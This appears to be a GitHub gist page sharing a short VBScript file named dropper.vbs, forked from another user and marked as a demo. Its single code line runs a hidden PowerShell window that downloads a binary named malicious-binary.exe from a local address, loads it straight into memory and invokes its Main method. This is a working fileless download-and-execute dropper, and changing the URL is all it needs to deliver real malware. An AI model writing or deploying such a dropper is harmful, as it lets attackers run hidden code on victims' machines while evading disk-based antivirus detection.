Skip to content

Instantly share code, notes, and snippets.

@AssassinUKG
Forked from gothburz/dropper.vbs
Created January 15, 2024 22:18
Show Gist options
  • Select an option

  • Save AssassinUKG/8a4c5a0f23a97fbe8a05acd11ade677d to your computer and use it in GitHub Desktop.

Select an option

Save AssassinUKG/8a4c5a0f23a97fbe8a05acd11ade677d to your computer and use it in GitHub Desktop.
' This is for demo puroposes
CreateObject("WScript.Shell").Run("powershell -NoProfile -WindowStyle Hidden $assembly = [System.Reflection.Assembly]::Load((Invoke-WebRequest 'http://127.0.0.1/malicious-binary.exe' -UseBasicParsing).Content); $null = $assembly.GetTypes(); $method = $assembly.GetType('MaliciousProgram').GetMethod('Main', [System.Reflection.BindingFlags]'Static, Public, NonPublic'); $null = $method.Invoke($null, @())")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment